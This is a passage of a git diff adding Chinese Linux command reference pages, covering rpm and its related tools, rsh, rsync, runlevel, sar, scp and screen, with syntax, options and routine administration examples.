diff --git a/LearnShell/LinuxCommands/rpm.md b/LearnShell/LinuxCommands/rpm.md
new file mode 100644
index 0000000..c97548f
--- /dev/null
+++ b/LearnShell/LinuxCommands/rpm.md
@@ -0,0 +1,214 @@
+rpm
+===
+
+RPM软件包的管理工具
+
+## 补充说明
+
+**rpm命令** 是RPM软件包的管理工具。rpm原本是Red Hat Linux发行版专门用来管理Linux各项套件的程序,由于它遵循GPL规则且功能强大方便,因而广受欢迎。逐渐受到其他发行版的采用。RPM套件管理方式的出现,让Linux易于安装,升级,间接提升了Linux的适用度。
+
+### 语法  
+
+```
+rpm(选项)(参数)
+```
+
+### 选项  
+
+```
+-a:查询所有套件;
+-b<完成阶段><套件档>+或-t <完成阶段><套件档>+:设置包装套件的完成阶段,并指定套件档的文件名称;
+-c:只列出组态配置文件,本参数需配合"-l"参数使用;
+-d:只列出文本文件,本参数需配合"-l"参数使用;
+-e<套件档>或--erase<套件档>:删除指定的套件;
+-f<文件>+:查询拥有指定文件的套件;
+-h或--hash:套件安装时列出标记;
+-i:显示套件的相关信息;
+-i<套件档>或--install<套件档>:安装指定的套件档;
+-l:显示套件的文件列表;
+-p<套件档>+:查询指定的RPM套件档;
+-q:使用询问模式,当遇到任何问题时,rpm指令会先询问用户;
+-R:显示套件的关联性信息;
+-s:显示文件状态,本参数需配合"-l"参数使用;
+-U<套件档>或--upgrade<套件档>:升级指定的套件档;
+-v:显示指令执行过程;
+-vv:详细显示指令执行过程,便于排错。
+```
+
+### 参数  
+
+软件包:指定要操纵的rpm软件包。
+
+### 实例  
+
+ **如何安装rpm软件包** 
+
+rpm软件包的安装可以使用程序rpm来完成。执行下面的命令:
+
+```
+rpm -ivh your-package.rpm
+```
+
+其中your-package.rpm是你要安装的rpm包的文件名,一般置于当前目录下。
+
+安装过程中可能出现下面的警告或者提示:
+
+```
+... conflict with ...
+```
+
+可能是要安装的包里有一些文件可能会覆盖现有的文件,缺省时这样的情况下是无法正确安装的可以用`rpm --force -i`强制安装即可
+
+```
+... is needed by ...
+... is not installed ...
+```
+
+此包需要的一些软件你没有安装可以用`rpm --nodeps -i`来忽略此信息,也就是说`rpm -i --force --nodeps`可以忽略所有依赖关系和文件问题,什么包都能安装上,但这种强制安装的软件包不能保证完全发挥功能。
+
+ **如何安装.src.rpm软件包** 
+
+有些软件包是以.src.rpm结尾的,这类软件包是包含了源代码的rpm包,在安装时需要进行编译。这类软件包有两种安装方法:
+
+方法一:
+
+```
+rpm -i your-package.src.rpm
+cd /usr/src/redhat/SPECS
+rpmbuild -bp your-package.specs             #一个和你的软件包同名的specs文件
+cd /usr/src/redhat/BUILD/your-package/      #一个和你的软件包同名的目录
+./configure                                 #这一步和编译普通的源码软件一样,可以加上参数
+make
+make install
+```
+
+方法二:
+
+```
+rpm -i you-package.src.rpm
+cd /usr/src/redhat/SPECS
+```
+
+前两步和方法一相同
+
+```
+rpmbuild -bb your-package.specs       #一个和你的软件包同名的specs文件
+```
+
+这时在`/usr/src/redhat/RPM/i386/`(根据具体包的不同,也可能是i686,noarch等等)在这个目录下,有一个新的rpm包,这个是编译好的二进制文件。
+
+执行`rpm -i new-package.rpm`即可安装完成。
+
+ **如何卸载rpm软件包** 
+
+使用命令`rpm -e`包名,包名可以包含版本号等信息,但是不可以有后缀.rpm,比如卸载软件包proftpd-1.2.8-1,可以使用下列格式:
+
+```
+rpm -e proftpd-1.2.8-1
+rpm -e proftpd-1.2.8
+rpm -e proftpd-
+rpm -e proftpd
+```
+
+不可以是下列格式:
+
+```
+rpm -e proftpd-1.2.8-1.i386.rpm
+rpm -e proftpd-1.2.8-1.i386
+rpm -e proftpd-1.2
+rpm -e proftpd-1
+```
+
+有时会出现一些错误或者警告:
+
+```
+... is needed by ...
+```
+
+这说明这个软件被其他软件需要,不能随便卸载,可以用rpm -e --nodeps强制卸载
+
+ **如何不安装但是获取rpm包中的文件** 
+
+使用工具rpm2cpio和cpio
+
+```
+rpm2cpio xxx.rpm | cpio -vi
+rpm2cpio xxx.rpm | cpio -idmv
+rpm2cpio xxx.rpm | cpio --extract --make-directories
+```
+
+参数i和extract相同,表示提取文件。v表示指示执行进程,d和make-directory相同,表示根据包中文件原来的路径建立目录,m表示保持文件的更新时间。
+
+ **如何查看与rpm包相关的文件和其他信息** 
+
+下面所有的例子都假设使用软件包mysql-3.23.54a-11
+
+1、我的系统中安装了那些rpm软件包。
+
+```
+rpm -qa 讲列出所有安装过的包
+```
+
+如果要查找所有安装过的包含某个字符串sql的软件包
+
+```
+rpm -qa | grep sql
+```
+
+2、如何获得某个软件包的文件全名。
+
+```
+rpm -q mysql
+```
+
+可以获得系统中安装的mysql软件包全名,从中可以获得当前软件包的版本等信息。这个例子中可以得到信息mysql-3.23.54a-11
+
+3、一个rpm包中的文件安装到那里去了?
+
+```
+rpm -ql 包名
+```
+
+注意这里的是不包括.rpm后缀的软件包的名称,也就是说只能用mysql或者mysql-3.23.54a-11而不是mysql-3.23.54a-11.rpm。如果只是想知道可执行程序放到那里去了,也可以用which,比如:
+
+```
+which mysql
+```
+
+4、一个rpm包中包含那些文件。
+
+*   一个没有安装过的软件包,使用`rpm -qlp  **** .rpm`
+*   一个已经安装过的软件包,还可以使用`rpm -ql  **** .rpm`
+
+5、如何获取关于一个软件包的版本,用途等相关信息?
+
+*   一个没有安装过的软件包,使用`rpm -qip  **** .rpm`
+*   一个已经安装过的软件包,还可以使用`rpm -qi  **** .rpm`
+
+6、某个程序是哪个软件包安装的,或者哪个软件包包含这个程序。
+
+```
+rpm -qf `which 程序名`    #返回软件包的全名
+rpm -qif `which 程序名`   #返回软件包的有关信息
+rpm -qlf `which 程序名`   #返回软件包的文件列表
+```
+
+注意,这里不是引号,而是`,就是键盘左上角的那个键。也可以使用`rpm -qilf`,同时输出软件包信息和文件列表。
+
+7、某个文件是哪个软件包安装的,或者哪个软件包包含这个文件。
+
+注意,前一个问题中的方法,只适用与可执行的程序,而下面的方法,不仅可以用于可执行程序,也可以用于普通的任何文件。前提是知道这个文件名。首先获得这个程序的完整路径,可以用whereis或者which,然后使用`rpm -qf`例如:
+
+```
+whereis ftptop
+ftptop: /usr/bin/ftptop /usr/share/man/man1/ftptop.1.gz
+
+rpm -qf /usr/bin/ftptop
+proftpd-1.2.8-1
+
+rpm -qf /usr/share/doc/proftpd-1.2.8/rfc/rfc0959.txt
+proftpd-1.2.8-1
+```
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/rpm2cpio.md b/LearnShell/LinuxCommands/rpm2cpio.md
new file mode 100644
index 0000000..c26bd6e
--- /dev/null
+++ b/LearnShell/LinuxCommands/rpm2cpio.md
@@ -0,0 +1,27 @@
+rpm2cpio
+===
+
+将RPM软件包转换为cpio格式的文件
+
+## 补充说明
+
+**rpm2cpio命令** 用于将rpm软件包转换为cpio格式的文件。
+
+### 语法  
+
+```
+rpm2cpio(参数)
+```
+
+### 参数  
+
+文件:指定要转换的rpm包的文件名。
+
+### 实例  
+
+```
+rpm2cpio ../libstdc++-4.3.0-8.i386.rpm | cpio -idv
+```
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/rpmbuild.md b/LearnShell/LinuxCommands/rpmbuild.md
new file mode 100644
index 0000000..61f4e0d
--- /dev/null
+++ b/LearnShell/LinuxCommands/rpmbuild.md
@@ -0,0 +1,35 @@
+rpmbuild
+===
+
+创建RPM的二进制软件包和源码软件包
+
+## 补充说明
+
+**rpmbuild命令** 被用于创建rpm的二进制软件包和源码软件包。
+
+### 语法  
+
+```
+rpmbuild(选项)
+```
+
+### 选项  
+
+```
+--initdb:初始化RPM数据库;
+--rebuilddb:从已安装的包头文件,方向重建RPM数据库;
+-ba:创建二进制和源代码包;
+-bb:创建二进制代码包;
+-bs:创建源代码包。
+```
+
+### 实例  
+
+```
+rpmbuild -ba 'spec文件路径'
+```
+
+build完后,可以在`/usr/src/redhat/RPMS/`下找到二进制rpm包,rpm包按照其对应的cpu体系结构分类,通常在`/usr/src/redhat/RPMS/i386`目录下。`/usr/src/redhat/SRPMS/`下找到源码rpm包,此时由于是源代码,所以无须按体系结构分类。
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/rpmdb.md b/LearnShell/LinuxCommands/rpmdb.md
new file mode 100644
index 0000000..a910936
--- /dev/null
+++ b/LearnShell/LinuxCommands/rpmdb.md
@@ -0,0 +1,24 @@
+rpmdb
+===
+
+初始化和重建RPM数据库
+
+## 补充说明
+
+**rpmdb命令** 用于初始化和重建rpm数据库。
+
+### 语法  
+
+```
+rpmdb(选项)
+```
+
+### 选项  
+
+```
+--initdb:初始化RPM数据库;
+--rebuilddb:从已安装的包头文件,反向重建RPM数据库。
+```
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/rpmquery.md b/LearnShell/LinuxCommands/rpmquery.md
new file mode 100644
index 0000000..89d5eb3
--- /dev/null
+++ b/LearnShell/LinuxCommands/rpmquery.md
@@ -0,0 +1,36 @@
+rpmquery
+===
+
+从RPM数据库中查询软件包信息
+
+## 补充说明
+
+**rpmquery命令** 使用多种依据从rpm数据库中查询软件包信息。
+
+### 语法  
+
+```
+rpmquery(选项)
+```
+
+### 选项  
+
+```
+-qf:查询指定的文件所属的软件包;
+-q:查询指定的软件包是否被安装;
+-qc:查询软件包中的配置文件;
+-qd:查询软件包中的文档文件;
+-qi:查询软件包的基本信息。
+```
+
+### 实例  
+
+使用rpmquery命令查询指定文件所属的软件包:
+
+```
+[root@localhost ~]# rpmquery -qf /usr/bin/htpasswd
+httpd-2.2.3-81.el5.centos
+```
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/rpmsign.md b/LearnShell/LinuxCommands/rpmsign.md
new file mode 100644
index 0000000..d367b57
--- /dev/null
+++ b/LearnShell/LinuxCommands/rpmsign.md
@@ -0,0 +1,29 @@
+rpmsign
+===
+
+使用RPM软件包的签名管理工具
+
+## 补充说明
+
+**rpmsign命令** 使用rpm软件包的签名管理工具。
+
+### 语法  
+
+```
+rpmsign(选项)
+```
+
+### 选项  
+
+```
+--addsign:为自动软件包添加签名;
+--checksig:验证软件包签名;
+--delsign:删除软件包签名;
+--import:导入公钥;
+--resign:重新签名软件包;
+--nodigest:不验证软件包摘要;
+--nosignature:不验证软件包签名。
+```
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/rpmverify.md b/LearnShell/LinuxCommands/rpmverify.md
new file mode 100644
index 0000000..19ed93f
--- /dev/null
+++ b/LearnShell/LinuxCommands/rpmverify.md
@@ -0,0 +1,25 @@
+rpmverify
+===
+
+验证已安装的RPM软件包的正确性
+
+## 补充说明
+
+**rpmverify命令** 用来验证已安装的rpm软件包的正确性。
+
+### 语法  
+
+```
+rpmverify(选项)
+```
+
+### 选项  
+
+```
+-Va:验证所有软件包;
+-V<软件包>f:验证指定软件包;
+--nomd5:不验证软件包的md5摘要。
+```
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/rsh.md b/LearnShell/LinuxCommands/rsh.md
new file mode 100644
index 0000000..1933d5b
--- /dev/null
+++ b/LearnShell/LinuxCommands/rsh.md
@@ -0,0 +1,30 @@
+rsh
+===
+
+连接远程主机并执行命令
+
+## 补充说明
+
+**rsh命令** 用于连接到远程的指定主机并执行指定的命令。
+
+### 语法  
+
+```
+rsh(选项)(参数)
+```
+
+### 选项  
+
+```
+-d:使用Socket层级的排错功能;
+-l<用户名称>:指定要登入远端主机的用户名称;
+-n:把输入的指令号向代号为/dev/null的特殊外围设备。
+```
+
+### 参数  
+
+*   远程主机:指定要连接的远程主机;
+*   指令:指定要在远程主机上执行的命令。
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/rsync.md b/LearnShell/LinuxCommands/rsync.md
new file mode 100644
index 0000000..130a8e6
--- /dev/null
+++ b/LearnShell/LinuxCommands/rsync.md
@@ -0,0 +1,226 @@
+rsync
+===
+
+远程数据同步工具
+
+## 补充说明
+
+**rsync命令** 是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。rsync使用所谓的“rsync算法”来使本地和远程两个主机之间的文件达到同步,这个算法只传送两个文件的不同部分,而不是每次都整份传送,因此速度相当快。 rsync是一个功能非常强大的工具,其命令也有很多功能特色选项,我们下面就对它的选项一一进行分析说明。
+
+### 语法  
+
+```
+rsync [OPTION]... SRC DEST
+rsync [OPTION]... SRC [USER@]host:DEST
+rsync [OPTION]... [USER@]HOST:SRC DEST
+rsync [OPTION]... [USER@]HOST::SRC DEST
+rsync [OPTION]... SRC [USER@]HOST::DEST
+rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]
+```
+
+对应于以上六种命令格式,rsync有六种不同的工作模式:
+
+1.  拷贝本地文件。当SRC和DES路径信息都不包含有单个冒号":"分隔符时就启动这种工作模式。如:`rsync -a /data /backup`
+2.  使用一个远程shell程序(如rsh、ssh)来实现将本地机器的内容拷贝到远程机器。当DST路径地址包含单个冒号":"分隔符时启动该模式。如:`rsync -avz *.c foo:src`
+3.  使用一个远程shell程序(如rsh、ssh)来实现将远程机器的内容拷贝到本地机器。当SRC地址路径包含单个冒号":"分隔符时启动该模式。如:`rsync -avz foo:src/bar /data`
+4.  从远程rsync服务器中拷贝文件到本地机。当SRC路径信息包含"::"分隔符时启动该模式。如:`rsync -av root@192.168.78.192::www /databack`
+5.  从本地机器拷贝文件到远程rsync服务器中。当DST路径信息包含"::"分隔符时启动该模式。如:`rsync -av /databack root@192.168.78.192::www`
+6.  列远程机的文件列表。这类似于rsync传输,不过只要在命令中省略掉本地机信息即可。如:`rsync -v rsync://192.168.78.192/www`
+
+### 选项  
+
+```
+-v, --verbose 详细模式输出。
+-q, --quiet 精简输出模式。
+-c, --checksum 打开校验开关,强制对文件传输进行校验。
+-a, --archive 归档模式,表示以递归方式传输文件,并保持所有文件属性,等于-rlptgoD。
+-r, --recursive 对子目录以递归模式处理。
+-R, --relative 使用相对路径信息。
+-b, --backup 创建备份,也就是对于目的已经存在有同样的文件名时,将老的文件重新命名为~filename。可以使用--suffix选项来指定不同的备份文件前缀。
+--backup-dir 将备份文件(如~filename)存放在在目录下。
+-suffix=SUFFIX 定义备份文件前缀。
+-u, --update 仅仅进行更新,也就是跳过所有已经存在于DST,并且文件时间晚于要备份的文件,不覆盖更新的文件。
+-l, --links 保留软链结。
+-L, --copy-links 想对待常规文件一样处理软链结。
+--copy-unsafe-links 仅仅拷贝指向SRC路径目录树以外的链结。
+--safe-links 忽略指向SRC路径目录树以外的链结。
+-H, --hard-links 保留硬链结。
+-p, --perms 保持文件权限。
+-o, --owner 保持文件属主信息。
+-g, --group 保持文件属组信息。
+-D, --devices 保持设备文件信息。
+-t, --times 保持文件时间信息。
+-S, --sparse 对稀疏文件进行特殊处理以节省DST的空间。
+-n, --dry-run现实哪些文件将被传输。
+-w, --whole-file 拷贝文件,不进行增量检测。
+-x, --one-file-system 不要跨越文件系统边界。
+-B, --block-size=SIZE 检验算法使用的块尺寸,默认是700字节。
+-e, --rsh=command 指定使用rsh、ssh方式进行数据同步。
+--rsync-path=PATH 指定远程服务器上的rsync命令所在路径信息。
+-C, --cvs-exclude 使用和CVS一样的方法自动忽略文件,用来排除那些不希望传输的文件。
+--existing 仅仅更新那些已经存在于DST的文件,而不备份那些新创建的文件。
+--delete 删除那些DST中SRC没有的文件。
+--delete-excluded 同样删除接收端那些被该选项指定排除的文件。
+--delete-after 传输结束以后再删除。
+--ignore-errors 及时出现IO错误也进行删除。
+--max-delete=NUM 最多删除NUM个文件。
+--partial 保留那些因故没有完全传输的文件,以是加快随后的再次传输。
+--force 强制删除目录,即使不为空。
+--numeric-ids 不将数字的用户和组id匹配为用户名和组名。
+--timeout=time ip超时时间,单位为秒。
+-I, --ignore-times 不跳过那些有同样的时间和长度的文件。
+--size-only 当决定是否要备份文件时,仅仅察看文件大小而不考虑文件时间。
+--modify-window=NUM 决定文件是否时间相同时使用的时间戳窗口,默认为0。
+-T --temp-dir=DIR 在DIR中创建临时文件。
+--compare-dest=DIR 同样比较DIR中的文件来决定是否需要备份。
+-P 等同于 --partial。
+--progress 显示备份过程。
+-z, --compress 对备份的文件在传输时进行压缩处理。
+--exclude=PATTERN 指定排除不需要传输的文件模式。
+--include=PATTERN 指定不排除而需要传输的文件模式。
+--exclude-from=FILE 排除FILE中指定模式的文件。
+--include-from=FILE 不排除FILE指定模式匹配的文件。
+--version 打印版本信息。
+--address 绑定到特定的地址。
+--config=FILE 指定其他的配置文件,不使用默认的rsyncd.conf文件。
+--port=PORT 指定其他的rsync服务端口。
+--blocking-io 对远程shell使用阻塞IO。
+-stats 给出某些文件的传输状态。
+--progress 在传输时现实传输过程。
+--log-format=formAT 指定日志文件格式。
+--password-file=FILE 从FILE中得到密码。
+--bwlimit=KBPS 限制I/O带宽,KBytes per second。
+-h, --help 显示帮助信息。
+```
+
+### 实例  
+
+ **SSH方式** 
+
+首先在服务端启动ssh服务:
+
+```
+service sshd start
+启动 sshd: [确定]
+```
+
+ **使用rsync进行同步** 
+
+接下来就可以在客户端使用rsync命令来备份服务端上的数据了,SSH方式是通过系统用户来进行备份的,如下:
+
+```
+rsync -vzrtopg --progress -e ssh --delete work@172.16.78.192:/www/* /databack/experiment/rsync
+work@172.16.78.192's password:
+receiving file list ...
+5 files to consider
+test/
+a
+0 100% 0.00kB/s 527:35:41 (1, 20.0% of 5)
+b
+67 100% 65.43kB/s 0:00:00 (2, 40.0% of 5)
+c
+0 100% 0.00kB/s 527:35:41 (3, 60.0% of 5)
+dd
+100663296 100% 42.22MB/s 0:00:02 (4, 80.0% of 5)
+sent 96 bytes received 98190 bytes 11563.06 bytes/sec
+total size is 100663363 speedup is 1024.19
+```
+
+上面的信息描述了整个的备份过程,以及总共备份数据的大小。
+
+ **后台服务方式** 
+
+启动rsync服务,编辑`/etc/xinetd.d/rsync`文件,将其中的`disable=yes`改为`disable=no`,并重启xinetd服务,如下:
+
+```
+vi /etc/xinetd.d/rsync
+
+#default: off
+# description: The rsync server is a good addition to an ftp server, as it \
+# allows crc checksumming etc.
+service rsync {
+disable = no
+socket_type = stream
+wait = no
+user = root
+server = /usr/bin/rsync
+server_args = --daemon
+log_on_failure += USERID
+}
+```
+
+```
+/etc/init.d/xinetd restart
+停止 xinetd: [确定]
+启动 xinetd: [确定]
+```
+
+创建配置文件,默认安装好rsync程序后,并不会自动创建rsync的主配置文件,需要手工来创建,其主配置文件为“/etc/rsyncd.conf”,创建该文件并插入如下内容:
+
+```
+vi /etc/rsyncd.conf
+
+uid=root
+gid=root
+max connections=4
+log file=/var/log/rsyncd.log
+pid file=/var/run/rsyncd.pid
+lock file=/var/run/rsyncd.lock
+secrets file=/etc/rsyncd.passwd
+hosts deny=172.16.78.0/22
+
+[www]
+comment= backup web
+path=/www
+read only = no
+exclude=test
+auth users=work
+```
+
+创建密码文件,采用这种方式不能使用系统用户对客户端进行认证,所以需要创建一个密码文件,其格式为“username:password”,用户名可以和密码可以随便定义,最好不要和系统帐户一致,同时要把创建的密码文件权限设置为600,这在前面的模块参数做了详细介绍。
+
+```
+echo "work:abc123" > /etc/rsyncd.passwd
+chmod 600 /etc/rsyncd.passwd
+```
+
+备份,完成以上工作,现在就可以对数据进行备份了,如下:
+
+```
+rsync -avz --progress --delete work@172.16.78.192::www /databack/experiment/rsync
+
+Password:
+receiving file list ...
+6 files to consider
+./ files...
+a
+0 100% 0.00kB/s 528:20:41 (1, 50.0% of 6)
+b
+67 100% 65.43kB/s 0:00:00 (2, 66.7% of 6)
+c
+0 100% 0.00kB/s 528:20:41 (3, 83.3% of 6)
+dd
+100663296 100% 37.49MB/s 0:00:02 (4, 100.0% of 6)
+sent 172 bytes received 98276 bytes 17899.64 bytes/sec
+total size is 150995011 speedup is 1533.75
+```
+
+恢复,当服务器的数据出现问题时,那么这时就需要通过客户端的数据对服务端进行恢复,但前提是服务端允许客户端有写入权限,否则也不能在客户端直接对服务端进行恢复,使用rsync对数据进行恢复的方法如下:
+
+```
+rsync -avz --progress /databack/experiment/rsync/ work@172.16.78.192::www
+
+Password:
+building file list ...
+6 files to consider
+./
+a
+b
+67 100% 0.00kB/s 0:00:00 (2, 66.7% of 6)
+c
+sent 258 bytes received 76 bytes 95.43 bytes/sec
+total size is 150995011 speedup is 452080.87
+```
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/runlevel.md b/LearnShell/LinuxCommands/runlevel.md
new file mode 100644
index 0000000..c984530
--- /dev/null
+++ b/LearnShell/LinuxCommands/runlevel.md
@@ -0,0 +1,40 @@
+runlevel
+===
+
+打印当前Linux系统的运行等级
+
+## 补充说明
+
+**runlevel命令** 用于打印当前Linux系统的运行等级。
+
+### 语法  
+
+```
+runlevel
+```
+
+### 知识扩展  
+
+linux操作系统自从开始启动至启动完毕需要经历几个不同的阶段,这几个阶段就叫做runlevel,同样,当linux操作系统关闭时也要经历另外几个不同的runlevel,下面我们就准备详细介绍一下runlevel,并向您展示一些小技巧来让您的linux系统避免不必要的重启动。
+
+runlevel可以认为是系统状态,形象一点,您可以认为runlevel有点象微软的windows操作系统中的Normal,safemode,和command prompt only。进入每个runlevel都需要启动或关闭相应的一系列服务(services),这些服务(services)以初始化脚本的方式放置于目录`/etc/rc.d/rc?.d/`或者`/etc/rc?.d`下面(?代表runlevel的对应序号)。
+
+在大多数的linux发行版本中,通常有8个runlevel:
+
+```
+0 停机
+1 单用户模式
+2 多用户,没有 NFS
+3 完全多用户模式
+4 没有用到
+5 图形界面
+6 重新启动
+S s Single user mode
+```
+
+多数的桌面的linux系统缺省的runlevel是5,用户登陆时是图形界面,而多数的服务器版本的linux系统缺省的runlevel是3,用户登陆时是字符界面,runlevel 1和2除了调试之外很少使用,runlevel s和S并不是直接给用户使用,而是用来为Single user mode作准备。
+
+linux的运行模式比起windows的启动模式的优势在于:你可以在系统空闲时使用init命令切换你现在使用的runlevel,另外,当你关闭或者启动linux系统时你已经不知不觉中切换你的runlevel,系统关机进程需要调用runlevel(0或6)来关闭所有正在运行中的进程。
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/sar.md b/LearnShell/LinuxCommands/sar.md
new file mode 100644
index 0000000..4ed5887
--- /dev/null
+++ b/LearnShell/LinuxCommands/sar.md
@@ -0,0 +1,69 @@
+sar
+===
+
+系统运行状态统计工具
+
+## 补充说明
+
+**sar命令** 是Linux下系统运行状态统计工具,它将指定的操作系统状态计数器显示到标准输出设备。sar工具将对系统当前的状态进行取样,然后通过计算数据和比例来表达系统的当前运行状态。它的特点是可以连续对系统取样,获得大量的取样数据。取样数据和分析的结果都可以存入文件,使用它时消耗的系统资源很小。
+
+### 语法  
+
+```
+sar(选项)(参数)
+```
+
+### 选项  
+
+```
+-A:显示所有的报告信息;
+-b:显示I/O速率;
+-B:显示换页状态;
+-c:显示进程创建活动;
+-d:显示每个块设备的状态;
+-e:设置显示报告的结束时间;
+-f:从指定文件提取报告;
+-i:设状态信息刷新的间隔时间;
+-P:报告每个CPU的状态;
+-R:显示内存状态;
+-u:显示CPU利用率;
+-v:显示索引节点,文件和其他内核表的状态;
+-w:显示交换分区状态;
+-x:显示给定进程的状态。
+```
+
+### 参数  
+
+*   间隔时间:每次报告的间隔时间(秒);
+*   次数:显示报告的次数。
+
+### 实例  
+
+ **察看内存和交换空间的使用率:** 
+
+```
+sar -r
+Linux 2.4.20-8 (www.jsdig.com)    20130503  
+12:00:01 AM kbmemfree kbmemused  %memused 
+kbmemshrd kbbuffers  kbcached  
+12:10:00 AM    240468   1048252     81.34    
+0    133724    485772  
+12:20:00 AM    240508   1048212     81.34   
+0    134172    485600  
+…  
+08:40:00 PM    934132    354588     27.51    
+0     26080    185364  
+Average:       324346    964374     74.83  
+0     96072    467559 
+```
+
+kbmemfree与kbmemused字段分别显示内存的未使用与已使用空间,后面跟着的是已使用空间的百分比(%memused字段)。kbbuffers与kbcached字段分别显示缓冲区与系统全域的数据存取量,单位为KB。
+
+ **观察系统部件10分钟,并对数据进行排序:** 
+
+```
+sar -o temp 60 10
+```
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/scp.md b/LearnShell/LinuxCommands/scp.md
new file mode 100644
index 0000000..78f80b2
--- /dev/null
+++ b/LearnShell/LinuxCommands/scp.md
@@ -0,0 +1,78 @@
+scp
+===
+
+加密的方式在本地主机和远程主机之间复制文件
+
+## 补充说明
+
+**scp命令** 用于在Linux下进行远程拷贝文件的命令,和它类似的命令有cp,不过cp只是在本机进行拷贝不能跨服务器,而且scp传输是加密的。可能会稍微影响一下速度。当你服务器硬盘变为只读read only system时,用scp可以帮你把文件移出来。另外,scp还非常不占资源,不会提高多少系统负荷,在这一点上,rsync就远远不及它了。虽然 rsync比scp会快一点,但当小文件众多的情况下,rsync会导致硬盘I/O非常高,而scp基本不影响系统正常使用。
+
+### 语法  
+
+```
+scp(选项)(参数)
+```
+
+### 选项  
+
+```
+-1:使用ssh协议版本1;
+-2:使用ssh协议版本2;
+-4:使用ipv4;
+-6:使用ipv6;
+-B:以批处理模式运行;
+-C:使用压缩;
+-F:指定ssh配置文件;
+-l:指定宽带限制;
+-o:指定使用的ssh选项;
+-P:指定远程主机的端口号;
+-p:保留文件的最后修改时间,最后访问时间和权限模式;
+-q:不显示复制进度;
+-r:以递归方式复制。
+```
+
+### 参数  
+
+* 源文件:指定要复制的源文件。
+* 目标文件:目标文件。格式为`user@host:filename`(文件名为目标文件的名称)。
+
+### 实例  
+
+从远程复制到本地的scp命令与上面的命令雷同,只要将从本地复制到远程的命令后面2个参数互换顺序就行了。
+
+ **从远处复制文件到本地目录** 
+
+```
+scp root@10.10.10.10:/opt/soft/nginx-0.5.38.tar.gz /opt/soft/
+```
+
+从10.10.10.10机器上的`/opt/soft/`的目录中下载nginx-0.5.38.tar.gz 文件到本地`/opt/soft/`目录中。
+
+ **从远处复制到本地** 
+
+```
+scp -r root@10.10.10.10:/opt/soft/mongodb /opt/soft/
+```
+
+从10.10.10.10机器上的`/opt/soft/`中下载mongodb目录到本地的`/opt/soft/`目录来。
+
+ **上传本地文件到远程机器指定目录** 
+
+```bash
+scp /opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest
+# 添加断开 2222
+scp -rp -P 2222 /opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest
+```
+
+复制本地`/opt/soft/`目录下的文件nginx-0.5.38.tar.gz到远程机器10.10.10.10的`opt/soft/scptest`目录。
+
+ **上传本地目录到远程机器指定目录** 
+
+```
+scp -r /opt/soft/mongodb root@10.10.10.10:/opt/soft/scptest
+```
+
+上传本地目录`/opt/soft/mongodb`到远程机器10.10.10.10上`/opt/soft/scptest`的目录中去。
+
+
+
diff --git a/LearnShell/LinuxCommands/screen.md b/LearnShell/LinuxCommands/screen.md
new file mode 100644
index 0000000..3d553e3
--- /dev/null
+++ b/LearnShell/LinuxCommands/screen.md
@@ -0,0 +1,223 @@
+screen
+===
+
+用于命令行终端切换
+
+## 补充说明
+
+**Screen** 是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
+
+ **会话恢复** 
+
+只要Screen本身没有终止,在其内部运行的会话都可以恢复。这一点对于远程登录的用户特别有用——即使网络连接中断,用户也不会失去对已经打开的命令行会话的控制。只要再次登录到主机上执行screen -r就可以恢复会话的运行。同样在暂时离开的时候,也可以执行分离命令detach,在保证里面的程序正常运行的情况下让Screen挂起(切换到后台)。这一点和图形界面下的VNC很相似。
+
+ **多窗口** 
+
+在Screen环境下,所有的会话都独立的运行,并拥有各自的编号、输入、输出和窗口缓存。用户可以通过快捷键在不同的窗口下切换,并可以自由的重定向各个窗口的输入和输出。Screen实现了基本的文本操作,如复制粘贴等;还提供了类似滚动条的功能,可以查看窗口状况的历史记录。窗口还可以被分区和命名,还可以监视后台窗口的活动。 会话共享 Screen可以让一个或多个用户从不同终端多次登录一个会话,并共享会话的所有特性(比如可以看到完全相同的输出)。它同时提供了窗口访问权限的机制,可以对窗口进行密码保护。
+
+GNU's Screen 官方站点:http://www.gnu.org/software/screen/
+
+### 语法  
+
+```
+# screen -AmRvx -[ls -wipe][-d <作业名称>][-h <行数>][-r <作业名称>][-s ][-S <作业名称>]
+```
+
+### 选项  
+
+```
+-A  将所有的视窗都调整为目前终端机的大小。
+-d <作业名称>  将指定的screen作业离线。
+-h <行数>  指定视窗的缓冲区行数。
+-m  即使目前已在作业中的screen作业,仍强制建立新的screen作业。
+-r <作业名称>  恢复离线的screen作业。
+-R  先试图恢复离线的作业。若找不到离线的作业,即建立新的screen作业。
+-s  指定建立新视窗时,所要执行的shell。
+-S <作业名称>  指定screen作业的名称。
+-v  显示版本信息。
+-x  恢复之前离线的screen作业。
+-ls或--list  显示目前所有的screen作业。
+-wipe  检查目前所有的screen作业,并删除已经无法使用的screen作业。
+```
+
+### 常用screen参数  
+
+```
+screen -S yourname -> 新建一个叫yourname的session
+screen -ls -> 列出当前所有的session
+screen -r yourname -> 回到yourname这个session
+screen -d yourname -> 远程detach某个session
+screen -d -r yourname -> 结束当前session并回到yourname这个session
+```
+
+在每个screen session 下,所有命令都以 ctrl+a(C-a) 开始。
+
+```
+C-a ? -> 显示所有键绑定信息
+C-a c -> 创建一个新的运行shell的窗口并切换到该窗口
+C-a n -> Next,切换到下一个 window 
+C-a p -> Previous,切换到前一个 window 
+C-a 0..9 -> 切换到第 0..9 个 window
+Ctrl+a [Space] -> 由视窗0循序切换到视窗9
+C-a C-a -> 在两个最近使用的 window 间切换 
